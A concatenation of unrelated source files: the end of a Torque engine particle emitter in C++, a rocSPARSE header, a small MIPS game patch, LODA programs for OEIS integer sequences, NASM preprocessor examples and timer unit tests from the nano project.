axis.normalize(); pos += rCenter; addParticle(pos, axis, velocity, axisz); } // Set world bounding box mObjBox.minExtents = rCenter - Point3F(radius, radius, radius); mObjBox.maxExtents = rCenter + Point3F(radius, radius, radius); resetWorldBox(); // Make sure we're part of the world if( n_parts > 0 && getSceneManager() == NULL ) { gClientSceneGraph->addObjectToScene(this); ClientProcessList::get()->addObject(this); } mHasLastPosition = false; } //----------------------------------------------------------------------------- // updateBBox - SLOW, bad news //----------------------------------------------------------------------------- void ParticleEmitter::updateBBox() { Point3F minPt(1e10, 1e10, 1e10); Point3F maxPt(-1e10, -1e10, -1e10); for (Particle* part = part_list_head.next; part != NULL; part = part->next) { Point3F particleSize(part->size * 0.5f, 0.0f, part->size * 0.5f); minPt.setMin( part->pos - particleSize ); maxPt.setMax( part->pos + particleSize ); } mObjBox = Box3F(minPt, maxPt); MatrixF temp = getTransform(); setTransform(temp); mBBObjToWorld.identity(); Point3F boxScale = mObjBox.getExtents(); boxScale.x = getMax(boxScale.x, 1.0f); boxScale.y = getMax(boxScale.y, 1.0f); boxScale.z = getMax(boxScale.z, 1.0f); mBBObjToWorld.scale(boxScale); } //----------------------------------------------------------------------------- // addParticle //----------------------------------------------------------------------------- void ParticleEmitter::addParticle(const Point3F& pos, const Point3F& axis, const Point3F& vel, const Point3F& axisx) { n_parts++; if (n_parts > n_part_capacity || n_parts > mDataBlock->partListInitSize) { // In an emergency we allocate additional particles in blocks of 16. // This should happen rarely. Particle* store_block = new Particle[16]; part_store.push_back(store_block); n_part_capacity += 16; for (S32 i = 0; i < 16; i++) { store_block[i].next = part_freelist; part_freelist = &store_block[i]; } mDataBlock->allocPrimBuffer(n_part_capacity); // allocate larger primitive buffer or will crash } Particle* pNew = part_freelist; part_freelist = pNew->next; pNew->next = part_list_head.next; part_list_head.next = pNew; Point3F ejectionAxis = axis; F32 theta = (mDataBlock->thetaMax - mDataBlock->thetaMin) * gRandGen.randF() + mDataBlock->thetaMin; F32 ref = (F32(mInternalClock) / 1000.0) * mDataBlock->phiReferenceVel; F32 phi = ref + gRandGen.randF() * mDataBlock->phiVariance; // Both phi and theta are in degs. Create axis angles out of them, and create the // appropriate rotation matrix... AngAxisF thetaRot(axisx, theta * (M_PI / 180.0)); AngAxisF phiRot(axis, phi * (M_PI / 180.0)); MatrixF temp(true); thetaRot.setMatrix(&temp); temp.mulP(ejectionAxis); phiRot.setMatrix(&temp); temp.mulP(ejectionAxis); F32 initialVel = mDataBlock->ejectionVelocity; initialVel += (mDataBlock->velocityVariance * 2.0f * gRandGen.randF()) - mDataBlock->velocityVariance; pNew->pos = pos + (ejectionAxis * mDataBlock->ejectionOffset); pNew->vel = ejectionAxis * initialVel; pNew->orientDir = ejectionAxis; pNew->acc.set(0, 0, 0); pNew->currentAge = 0; // Choose a new particle datablack randomly from the list U32 dBlockIndex = gRandGen.randI() % mDataBlock->particleDataBlocks.size(); mDataBlock->particleDataBlocks[dBlockIndex]->initializeParticle(pNew, vel); updateKeyData( pNew ); } //----------------------------------------------------------------------------- // processTick //----------------------------------------------------------------------------- void ParticleEmitter::processTick(const Move*) { if( mDeleteOnTick == true ) { mDead = true; deleteObject(); } } //----------------------------------------------------------------------------- // advanceTime //----------------------------------------------------------------------------- void ParticleEmitter::advanceTime(F32 dt) { if( dt < 0.00001 ) return; Parent::advanceTime(dt); if( dt > 0.5 ) dt = 0.5; if( mDead ) return; mElapsedTimeMS += (S32)(dt * 1000.0f); U32 numMSToUpdate = (U32)(dt * 1000.0f); if( numMSToUpdate == 0 ) return; // TODO: Prefetch // remove dead particles Particle* last_part = &part_list_head; for (Particle* part = part_list_head.next; part != NULL; part = part->next) { part->currentAge += numMSToUpdate; if (part->currentAge > part->totalLifetime) { n_parts--; last_part->next = part->next; part->next = part_freelist; part_freelist = part; part = last_part; } else { last_part = part; } } AssertFatal( n_parts >= 0, "ParticleEmitter: negative part count!" ); if (n_parts < 1 && mDeleteWhenEmpty) { mDeleteOnTick = true; return; } if( numMSToUpdate != 0 && n_parts > 0 ) { update( numMSToUpdate ); } } //----------------------------------------------------------------------------- // Update key related particle data //----------------------------------------------------------------------------- void ParticleEmitter::updateKeyData( Particle *part ) { //Ensure that our lifetime is never below 0 if( part->totalLifetime < 1 ) part->totalLifetime = 1; F32 t = F32(part->currentAge) / F32(part->totalLifetime); AssertFatal(t <= 1.0f, "Out out bounds filter function for particle."); for( U32 i = 1; i < ParticleData::PDC_NUM_KEYS; i++ ) { if( part->dataBlock->times[i] >= t ) { F32 firstPart = t - part->dataBlock->times[i-1]; F32 total = part->dataBlock->times[i] - part->dataBlock->times[i-1]; firstPart /= total; if( mDataBlock->useEmitterColors ) { part->color.interpolate(colors[i-1], colors[i], firstPart); } else { part->color.interpolate(part->dataBlock->colors[i-1], part->dataBlock->colors[i], firstPart); } if( mDataBlock->useEmitterSizes ) { part->size = (sizes[i-1] * (1.0 - firstPart)) + (sizes[i] * firstPart); } else { part->size = (part->dataBlock->sizes[i-1] * (1.0 - firstPart)) + (part->dataBlock->sizes[i] * firstPart); } break; } } } //----------------------------------------------------------------------------- // Update particles //----------------------------------------------------------------------------- void ParticleEmitter::update( U32 ms ) { // TODO: Prefetch for (Particle* part = part_list_head.next; part != NULL; part = part->next) { F32 t = F32(ms) / 1000.0; Point3F a = part->acc; a -= part->vel * part->dataBlock->dragCoefficient; a -= mWindVelocity * part->dataBlock->windCoefficient; a += Point3F(0.0f, 0.0f, -9.81f) * part->dataBlock->gravityCoefficient; part->vel += a * t; part->pos += part->vel * t; updateKeyData( part ); } } //----------------------------------------------------------------------------- // Copy particles to vertex buffer //----------------------------------------------------------------------------- // structure used for particle sorting. struct SortParticle { Particle* p; F32 k; }; // qsort callback function for particle sorting int QSORT_CALLBACK cmpSortParticles(const void* p1, const void* p2) { const SortParticle* sp1 = (const SortParticle*)p1; const SortParticle* sp2 = (const SortParticle*)p2; if (sp2->k > sp1->k) return 1; else if (sp2->k == sp1->k) return 0; else return -1; } void ParticleEmitter::copyToVB( const Point3F &camPos, const ColorF &ambientColor ) { static Vector<SortParticle> orderedVector(__FILE__, __LINE__); PROFILE_START(ParticleEmitter_copyToVB); PROFILE_START(ParticleEmitter_copyToVB_Sort); // build sorted list of particles (far to near) if (mDataBlock->sortParticles) { orderedVector.clear(); MatrixF modelview = GFX->getWorldMatrix(); Point3F viewvec; modelview.getRow(1, &viewvec); // add each particle and a distance based sort key to orderedVector for (Particle* pp = part_list_head.next; pp != NULL; pp = pp->next) { orderedVector.increment(); orderedVector.last().p = pp; orderedVector.last().k = mDot(pp->pos, viewvec); } // qsort the list into far to near ordering dQsort(orderedVector.address(), orderedVector.size(), sizeof(SortParticle), cmpSortParticles); } PROFILE_END(); #if defined(TORQUE_OS_XENON) // Allocate writecombined since we don't read back from this buffer (yay!) if(mVertBuff.isNull()) mVertBuff = new GFX360MemVertexBuffer(GFX, 1, getGFXVertexFormat<ParticleVertexType>(), sizeof(ParticleVertexType), GFXBufferTypeDynamic, PAGE_WRITECOMBINE); if( n_parts > mCurBuffSize ) { mCurBuffSize = n_parts; mVertBuff.resize(n_parts * 4); } ParticleVertexType *buffPtr = mVertBuff.lock(); #else static Vector<ParticleVertexType> tempBuff(2048); tempBuff.reserve( n_parts*4 + 64); // make sure tempBuff is big enough ParticleVertexType *buffPtr = tempBuff.address(); // use direct pointer (faster) #endif if (mDataBlock->orientParticles) { PROFILE_START(ParticleEmitter_copyToVB_Orient); if (mDataBlock->reverseOrder) { buffPtr += 4*(n_parts-1); // do sorted-oriented particles if (mDataBlock->sortParticles) { SortParticle* partPtr = orderedVector.address(); for (U32 i = 0; i < n_parts; i++, partPtr++, buffPtr-=4 ) setupOriented(partPtr->p, camPos, ambientColor, buffPtr); } // do unsorted-oriented particles else { for (Particle* partPtr = part_list_head.next; partPtr != NULL; partPtr = partPtr->next, buffPtr-=4) setupOriented(partPtr, camPos, ambientColor, buffPtr); } } else { // do sorted-oriented particles if (mDataBlock->sortParticles) { SortParticle* partPtr = orderedVector.address(); for (U32 i = 0; i < n_parts; i++, partPtr++, buffPtr+=4 ) setupOriented(partPtr->p, camPos, ambientColor, buffPtr); } // do unsorted-oriented particles else { for (Particle* partPtr = part_list_head.next; partPtr != NULL; partPtr = partPtr->next, buffPtr+=4) setupOriented(partPtr, camPos, ambientColor, buffPtr); } } PROFILE_END(); } else if (mDataBlock->alignParticles) { PROFILE_START(ParticleEmitter_copyToVB_Aligned); if (mDataBlock->reverseOrder) { buffPtr += 4*(n_parts-1); // do sorted-oriented particles if (mDataBlock->sortParticles) { SortParticle* partPtr = orderedVector.address(); for (U32 i = 0; i < n_parts; i++, partPtr++, buffPtr-=4 ) setupAligned(partPtr->p, ambientColor, buffPtr); } // do unsorted-oriented particles else { Particle *partPtr = part_list_head.next; for (; partPtr != NULL; partPtr = partPtr->next, buffPtr-=4) setupAligned(partPtr, ambientColor, buffPtr); } } else { // do sorted-oriented particles if (mDataBlock->sortParticles) { SortParticle* partPtr = orderedVector.address(); for (U32 i = 0; i < n_parts; i++, partPtr++, buffPtr+=4 ) setupAligned(partPtr->p, ambientColor, buffPtr); } // do unsorted-oriented particles else { Particle *partPtr = part_list_head.next; for (; partPtr != NULL; partPtr = partPtr->next, buffPtr+=4) setupAligned(partPtr, ambientColor, buffPtr); } } PROFILE_END(); } else { PROFILE_START(ParticleEmitter_copyToVB_NonOriented); // somewhat odd ordering so that texture coordinates match the oriented // particles Point3F basePoints[4]; basePoints[0] = Point3F(-1.0, 0.0, 1.0); basePoints[1] = Point3F(-1.0, 0.0, -1.0); basePoints[2] = Point3F( 1.0, 0.0, -1.0); basePoints[3] = Point3F( 1.0, 0.0, 1.0); MatrixF camView = GFX->getWorldMatrix(); camView.transpose(); // inverse - this gets the particles facing camera if (mDataBlock->reverseOrder) { buffPtr += 4*(n_parts-1); // do sorted-billboard particles if (mDataBlock->sortParticles) { SortParticle *partPtr = orderedVector.address(); for( U32 i=0; i<n_parts; i++, partPtr++, buffPtr-=4 ) setupBillboard( partPtr->p, basePoints, camView, ambientColor, buffPtr ); } // do unsorted-billboard particles else { for (Particle* partPtr = part_list_head.next; partPtr != NULL; partPtr = partPtr->next, buffPtr-=4) setupBillboard( partPtr, basePoints, camView, ambientColor, buffPtr ); } } else { // do sorted-billboard particles if (mDataBlock->sortParticles) { SortParticle *partPtr = orderedVector.address(); for( U32 i=0; i<n_parts; i++, partPtr++, buffPtr+=4 ) setupBillboard( partPtr->p, basePoints, camView, ambientColor, buffPtr ); } // do unsorted-billboard particles else { for (Particle* partPtr = part_list_head.next; partPtr != NULL; partPtr = partPtr->next, buffPtr+=4) setupBillboard( partPtr, basePoints, camView, ambientColor, buffPtr ); } } PROFILE_END(); } #if defined(TORQUE_OS_XENON) mVertBuff.unlock(); #else PROFILE_START(ParticleEmitter_copyToVB_LockCopy); // create new VB if emitter size grows if( !mVertBuff || n_parts > mCurBuffSize ) { mCurBuffSize = n_parts; mVertBuff.set( GFX, n_parts * 4, GFXBufferTypeDynamic ); } // lock and copy tempBuff to video RAM ParticleVertexType *verts = mVertBuff.lock(); dMemcpy( verts, tempBuff.address(), n_parts * 4 * sizeof(ParticleVertexType) ); mVertBuff.unlock(); PROFILE_END(); #endif PROFILE_END(); } //----------------------------------------------------------------------------- // Set up particle for billboard style render //----------------------------------------------------------------------------- void ParticleEmitter::setupBillboard( Particle *part, Point3F *basePts, const MatrixF &camView, const ColorF &ambientColor, ParticleVertexType *lVerts ) { F32 width = part->size * 0.5f; F32 spinAngle = part->spinSpeed * part->currentAge * AgedSpinToRadians; F32 sy, cy; mSinCos(spinAngle, sy, cy); const F32 ambientLerp = mClampF( mDataBlock->ambientFactor, 0.0f, 1.0f ); ColorF partCol = mLerp( part->color, ( part->color * ambientColor ), ambientLerp ); // fill four verts, use macro and unroll loop #define fillVert(){ \ lVerts->point.x = cy * basePts->x - sy * basePts->z; \ lVerts->point.y = 0.0f; \ lVerts->point.z = sy * basePts->x + cy * basePts->z; \ camView.mulV( lVerts->point ); \ lVerts->point *= width; \ lVerts->point += part->pos; \ lVerts->color = partCol; } \ // Here we deal with UVs for animated particle (billboard) if (part->dataBlock->animateTexture) { S32 fm = (S32)(part->currentAge*(1.0/1000.0)*part->dataBlock->framesPerSec); U8 fm_tile = part->dataBlock->animTexFrames[fm % part->dataBlock->numFrames]; S32 uv[4]; uv[0] = fm_tile + fm_tile/part->dataBlock->animTexTiling.x; uv[1] = uv[0] + (part->dataBlock->animTexTiling.x + 1); uv[2] = uv[1] + 1; uv[3] = uv[0] + 1; fillVert(); // Here and below, we copy UVs from particle datablock's current frame's UVs (billboard) lVerts->texCoord = part->dataBlock->animTexUVs[uv[0]]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->animTexUVs[uv[1]]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->animTexUVs[uv[2]]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->animTexUVs[uv[3]]; ++lVerts; ++basePts; return; } fillVert(); // Here and below, we copy UVs from particle datablock's texCoords (billboard) lVerts->texCoord = part->dataBlock->texCoords[0]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->texCoords[1]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->texCoords[2]; ++lVerts; ++basePts; fillVert(); lVerts->texCoord = part->dataBlock->texCoords[3]; ++lVerts; ++basePts; } //----------------------------------------------------------------------------- // Set up oriented particle //----------------------------------------------------------------------------- void ParticleEmitter::setupOriented( Particle *part, const Point3F &camPos, const ColorF &ambientColor, ParticleVertexType *lVerts ) { Point3F dir; if( mDataBlock->orientOnVelocity ) { // don't render oriented particle if it has no velocity if( part->vel.magnitudeSafe() == 0.0 ) return; dir = part->vel; } else { dir = part->orientDir; } Point3F dirFromCam = part->pos - camPos; Point3F crossDir; mCross( dirFromCam, dir, &crossDir ); crossDir.normalize(); dir.normalize(); F32 width = part->size * 0.5f; dir *= width; crossDir *= width; Point3F start = part->pos - dir; Point3F end = part->pos + dir; const F32 ambientLerp = mClampF( mDataBlock->ambientFactor, 0.0f, 1.0f ); ColorF partCol = mLerp( part->color, ( part->color * ambientColor ), ambientLerp ); // Here we deal with UVs for animated particle (oriented) if (part->dataBlock->animateTexture) { // Let particle compute the UV indices for current frame S32 fm = (S32)(part->currentAge*(1.0f/1000.0f)*part->dataBlock->framesPerSec); U8 fm_tile = part->dataBlock->animTexFrames[fm % part->dataBlock->numFrames]; S32 uv[4]; uv[0] = fm_tile + fm_tile/part->dataBlock->animTexTiling.x; uv[1] = uv[0] + (part->dataBlock->animTexTiling.x + 1); uv[2] = uv[1] + 1; uv[3] = uv[0] + 1; lVerts->point = start + crossDir; lVerts->color = partCol; // Here and below, we copy UVs from particle datablock's current frame's UVs (oriented) lVerts->texCoord = part->dataBlock->animTexUVs[uv[0]]; ++lVerts; lVerts->point = start - crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[1]]; ++lVerts; lVerts->point = end - crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[2]]; ++lVerts; lVerts->point = end + crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[3]]; ++lVerts; return; } lVerts->point = start + crossDir; lVerts->color = partCol; // Here and below, we copy UVs from particle datablock's texCoords (oriented) lVerts->texCoord = part->dataBlock->texCoords[0]; ++lVerts; lVerts->point = start - crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[1]; ++lVerts; lVerts->point = end - crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[2]; ++lVerts; lVerts->point = end + crossDir; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[3]; ++lVerts; } void ParticleEmitter::setupAligned( const Particle *part, const ColorF &ambientColor, ParticleVertexType *lVerts ) { // The aligned direction will always be normalized. Point3F dir = mDataBlock->alignDirection; // Find a right vector for this particle. Point3F right; if (mFabs(dir.y) > mFabs(dir.z)) mCross(Point3F::UnitZ, dir, &right); else mCross(Point3F::UnitY, dir, &right); right.normalize(); // If we have a spin velocity. if ( !mIsZero( part->spinSpeed ) ) { F32 spinAngle = part->spinSpeed * part->currentAge * AgedSpinToRadians; // This is an inline quaternion vector rotation which // is faster that QuatF.mulP(), but generates different // results and hence cannot replace it right now. F32 sin, qw; mSinCos( spinAngle * 0.5f, sin, qw ); F32 qx = dir.x * sin; F32 qy = dir.y * sin; F32 qz = dir.z * sin; F32 vx = ( right.x * qw ) + ( right.z * qy ) - ( right.y * qz ); F32 vy = ( right.y * qw ) + ( right.x * qz ) - ( right.z * qx ); F32 vz = ( right.z * qw ) + ( right.y * qx ) - ( right.x * qy ); F32 vw = ( right.x * qx ) + ( right.y * qy ) + ( right.z * qz ); right.x = ( qw * vx ) + ( qx * vw ) + ( qy * vz ) - ( qz * vy ); right.y = ( qw * vy ) + ( qy * vw ) + ( qz * vx ) - ( qx * vz ); right.z = ( qw * vz ) + ( qz * vw ) + ( qx * vy ) - ( qy * vx ); } // Get the cross vector. Point3F cross; mCross(right, dir, &cross); F32 width = part->size * 0.5f; right *= width; cross *= width; Point3F start = part->pos - right; Point3F end = part->pos + right; const F32 ambientLerp = mClampF( mDataBlock->ambientFactor, 0.0f, 1.0f ); ColorF partCol = mLerp( part->color, ( part->color * ambientColor ), ambientLerp ); // Here we deal with UVs for animated particle if (part->dataBlock->animateTexture) { // Let particle compute the UV indices for current frame S32 fm = (S32)(part->currentAge*(1.0f/1000.0f)*part->dataBlock->framesPerSec); U8 fm_tile = part->dataBlock->animTexFrames[fm % part->dataBlock->numFrames]; S32 uv[4]; uv[0] = fm_tile + fm_tile/part->dataBlock->animTexTiling.x; uv[1] = uv[0] + (part->dataBlock->animTexTiling.x + 1); uv[2] = uv[1] + 1; uv[3] = uv[0] + 1; lVerts->point = start + cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[0]]; ++lVerts; lVerts->point = start - cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[1]]; ++lVerts; lVerts->point = end - cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[2]]; ++lVerts; lVerts->point = end + cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->animTexUVs[uv[3]]; ++lVerts; } else { // Here and below, we copy UVs from particle datablock's texCoords lVerts->point = start + cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[0]; ++lVerts; lVerts->point = start - cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[1]; ++lVerts; lVerts->point = end - cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[2]; ++lVerts; lVerts->point = end + cross; lVerts->color = partCol; lVerts->texCoord = part->dataBlock->texCoords[3]; ++lVerts; } } bool ParticleEmitterData::reload() { // Clear out current particle data. dataBlockIds.clear(); particleDataBlocks.clear(); // Parse out particle string. U32 numUnits = 0; if( particleString ) numUnits = StringUnit::getUnitCount( particleString, " \t" ); if( !particleString || !particleString[ 0 ] || !numUnits ) { Con::errorf( "ParticleEmitterData(%s) has an empty particles string.", getName() ); mReloadSignal.trigger(); return false; } for( U32 i = 0; i < numUnits; ++ i ) { const char* dbName = StringUnit::getUnit( particleString, i, " \t" ); ParticleData* data = NULL; if( !Sim::findObject( dbName, data ) ) { Con::errorf( ConsoleLogEntry::General, "ParticleEmitterData(%s) unable to find particle datablock: %s", getName(), dbName ); continue; } particleDataBlocks.push_back( data ); dataBlockIds.push_back( data->getId() ); } // Check that we actually found some particle datablocks. if( particleDataBlocks.empty() ) { Con::errorf( ConsoleLogEntry::General, "ParticleEmitterData(%s) unable to find any particle datablocks", getName() ); mReloadSignal.trigger(); return false; } // Trigger reload. mReloadSignal.trigger(); return true; } DefineEngineMethod(ParticleEmitterData, reload, void,(),, "Reloads the ParticleData datablocks and other fields used by this emitter.\n" "@tsexample\n" "// Get the editor's current particle emitter\n" "%emitter = PE_EmitterEditor.currEmitter\n\n" "// Change a field value\n" "%emitter.setFieldValue( %propertyField, %value );\n\n" "// Reload this emitter\n" "%emitter.reload();\n" "@endtsexample\n") { object->reload(); }
/*! \file */ /* ************************************************************************ * Copyright (c) 2018-2020 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * ************************************************************************ */ #pragma once #ifndef ROCSPARSE_COOMV_AOS_HPP #define ROCSPARSE_COOMV_AOS_HPP #include "utility.h" template <typename I, typename T> rocsparse_status rocsparse_coomv_aos_template(rocsparse_handle handle, rocsparse_operation trans, I m, I n, I nnz, const T* alpha_device_host, const rocsparse_mat_descr descr, const T* coo_val, const I* coo_ind, const T* x, const T* beta_device_host, T* y); #endif // ROCSPARSE_COOMV_AOS_HPP
; set the angle for the solution to the puzzle to 0x5555 (first try) truth_spinner_fix: addiu t5, r0, 0x5555 ;facing angle for first try jr ra nop
; A007877: Period 4 zigzag sequence: repeat [0,1,2,1]. ; 0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0,1,2,1,0 gcd $0,4 mov $1,$0 mod $1,4
%define THIS_VERY_LONG_MACRO_NAME_IS_DEFINED_TO \ THIS_VALUE %define ctrl 0x1F & %define param(a,b) ((a)+(a)*(b)) mov byte [param(2,ebx)], ctrl 'D' %xidefine isTrue 1 %xdefine isFalse isTrue %xidefine isTrue 0 val1: db isFalse %xidefine isTrue 1 val2: db isFalse %define BDASTART 400h ; Start of BIOS data area struc tBIOSDA ; its structure .COM1addr RESW 1 .COM2addr RESW 1 ; ..and so on endstruc mov ax,BDASTART + tBIOSDA.COM1addr mov bx,BDASTART + tBIOSDA.COM2addr %define BDA(x) BDASTART + tBIOSDA. %+ x mov ax,BDA(COM1addr) mov bx,BDA(COM2addr) %define foo bar %undef foo mov eax, foo %assign i i+1 %strlen charcnt 'my string' %define sometext 'my string' %strlen charcnt sometext %substr mychar 'xyz' 1 ; equivalent to %define mychar 'x' %substr mychar 'xyz' 2 ; equivalent to %define mychar 'y' %substr mychar 'xyz' 3 ; equivalent to %define mychar 'z' %macro prologue 1 push ebp mov ebp,esp sub esp,%1 %endmacro myfunc: prologue 12 myfunc: push ebp mov ebp,esp sub esp,12 %macro silly 2 %2: db %1 %endmacro silly 'a', letter_a ; letter_a: db 'a' silly 'ab', string_ab ; string_ab: db 'ab' silly {13,10}, crlf ; crlf: db 13,10 %macro prologue 0 push ebp mov ebp,esp %endmacro %macro push 2 push %1 push %2 %endmacro %macro retz 0 jnz %%skip ret %%skip: %endmacro %macro writefile 2+ jmp %%endstr %%str: db %2 %%endstr: mov dx,%%str mov cx,%%endstr-%%str mov bx,%1 mov ah,0x40 int 0x21 %endmacro writefile [filehandle], {"hello, world",13,10} %macro die 0-1 "Painful program death has occurred." writefile 2,%1 mov ax,0x4c01 int 0x21 %endmacro %macro foobar 1-3 eax,[ebx+2] %macro multipush 1-* %rep %0 push %1 %rotate 1 %endrep %endmacro %macro multipop 1-* %rep %0 %rotate -1 pop %1 %endrep %endmacro %macro keytab_entry 2 keypos%1 equ $-keytab db %2 %endmacro keytab: keytab_entry F1,128+1 keytab_entry F2,128+2 keytab_entry Return,13 %macro retc 1 j%-1 %%skip ret %%skip: %endmacro %macro foo 1.nolist %macro bar 1-5+.nolist a,b,c,d,e,f,g,h %if<condition> ; some code which only appears if <condition> is met %elif<condition2> ; only appears if <condition> is not met but <condition2> is %else ; this appears if neither <condition> nor <condition2> was met %endif ; perform some function %ifdef DEBUG writefile 2,"Function performed successfully",13,10 %endif ; go and do something else %ifmacro MyMacro 1-3 %error "MyMacro 1-3" causes a conflict with an existing macro. %else %macro MyMacro 1-3 ; insert code to define the macro %endmacro %endif %macro pushparam 1 %ifidni %1,ip call %%label %%label: %else push %1 %endif %endmacro %macro writefile 2-3+ %ifstr %2 jmp %%endstr %if %0 = 3 %%str: db %2,%3 %else %%str: db %2 %endif %%endstr: mov dx,%%str mov cx,%%endstr-%%str %else mov dx,%2 mov cx,%3 %endif mov bx,%1 mov ah,0x40 int 0x21 %endmacro writefile [file], strpointer, length writefile [file], "hello", 13, 10 %ifdef SOME_MACRO ; do some setup %elifdef SOME_OTHER_MACRO ; do some different setup %else %error Neither SOME_MACRO nor SOME_OTHER_MACRO was defined. %endif %assign i 0 %rep 64 inc word [table+2*i] %assign i i+1 %endrep fibonacci: %assign i 0 %assign j 1 %rep 100 %if j > 65535 %exitrep %endif dw j %assign k j+i %assign i j %assign j k %endrep %include "macros.mac" %ifndef MACROS_MAC %define MACROS_MAC ; now define some macros %endif %push foobar %macro repeat 0 %push repeat %$begin: %endmacro %macro until 1 j%-1 %$begin %pop %endmacro %define %$localmac 3 %pop %push newname %macro if 1 %push if j%-1 %$ifnot %endmacro %macro else 0 %ifctx if %repl else jmp %$ifend %$ifnot: %else %error "expected `if' before `else'" %endif %endmacro %macro endif 0 %ifctx if %$ifnot: %pop %elifctx else %$ifend: %pop %else %error "expected `if' or `else' before `endif'" %endif %endmacro %macro notdeadyet 0 push eax mov eax, __LINE__ call stillhere pop eax %endmacro struc mytype mt_long: resd 1 mt_word: resw 1 mt_byte: resb 1 mt_str: resb 32 endstruc struc mytype .long: resd 1 .word: resw 1 .byte: resb 1 .str: resb 32 endstruc mystruc: istruc mytype at mt_long, dd 123456 at mt_word, dw 1024 at mt_byte, db 'x' at mt_str, db 'hello, world', 13, 10, 0 iend at mt_str, db 123,134,145,156,167,178,189 db 190,100,0 at mt_str db 'hello, world' db 13,10,0 align 4 ; align on 4-byte boundary align 16 ; align on 16-byte boundary align 16,nop ; equivalent to previous line align 8,db 0 ; pad with 0s rather than NOPs align 4,resb 1 ; align to 4 in the BSS alignb 4 ; equivalent to previous line struc mytype2 mt_byte: resb 1 alignb 2 mt_word: resw 1 alignb 4 mt_long: resd 1 mt_str: resb 32 endstruc
; A115243: G.f.: (4*x^2 + 2*x)/(4*x^3 - x^2 - 4*x + 1). ; 0,2,12,50,204,818,3276,13106,52428,209714,838860,3355442,13421772,53687090,214748364,858993458,3435973836,13743895346,54975581388,219902325554,879609302220,3518437208882,14073748835532,56294995342130,225179981368524,900719925474098,3602879701896396,14411518807585586,57646075230342348,230584300921369394,922337203685477580,3689348814741910322,14757395258967641292,59029581035870565170,236118324143482260684,944473296573929042738,3777893186295716170956,15111572745182864683826,60446290980731458735308 mov $1,4 pow $1,$0 mul $1,2 div $1,5 mul $1,2 mov $0,$1
#include <nano/core_test/testutil.hpp> #include <nano/lib/timer.hpp> #include <gtest/gtest.h> #include <chrono> #include <thread> /* Tests for the timer utility. Note that we use sleep_for in the tests, which sleeps for *at least* the given amount. We thus allow for some leeway in the upper bound checks (also because CI is often very slow) */ TEST (timer, states) { nano::timer<std::chrono::milliseconds> t1; ASSERT_EQ (t1.current_state (), nano::timer_state::stopped); t1.start (); ASSERT_EQ (t1.current_state (), nano::timer_state::started); t1.restart (); ASSERT_EQ (t1.current_state (), nano::timer_state::started); t1.pause (); ASSERT_EQ (t1.current_state (), nano::timer_state::stopped); t1.start (); ASSERT_EQ (t1.current_state (), nano::timer_state::started); t1.stop (); ASSERT_EQ (t1.current_state (), nano::timer_state::stopped); nano::timer<std::chrono::milliseconds> t2 (nano::timer_state::started); ASSERT_EQ (t2.current_state (), nano::timer_state::started); t2.stop (); ASSERT_EQ (t2.current_state (), nano::timer_state::stopped); } TEST (timer, measure_and_compare) { using namespace std::chrono_literals; nano::timer<std::chrono::milliseconds> t1 (nano::timer_state::started); ASSERT_EQ (t1.current_state (), nano::timer_state::started); std::this_thread::sleep_for (50ms); ASSERT_TRUE (t1.after_deadline (30ms)); ASSERT_TRUE (t1.before_deadline (500ms)); ASSERT_LT (t1.since_start (), 200ms); ASSERT_GT (t1.since_start (), 10ms); ASSERT_GE (t1.stop (), 50ms); } TEST (timer, cummulative_child) { using namespace std::chrono_literals; nano::timer<std::chrono::milliseconds> t1 (nano::timer_state::started); auto & child1 = t1.child (); for (int i = 0; i < 10; i++) { child1.start (); std::this_thread::sleep_for (5ms); child1.pause (); } ASSERT_GE (child1.value (), 50ms); ASSERT_LT (child1.value (), 500ms); auto & child2 = t1.child (); for (int i = 0; i < 10; i++) { child2.start (); std::this_thread::sleep_for (5ms); child2.pause (); } ASSERT_GE (child2.value (), 50ms); ASSERT_LT (child2.value (), 500ms); ASSERT_GT (t1.stop (), 100ms); }
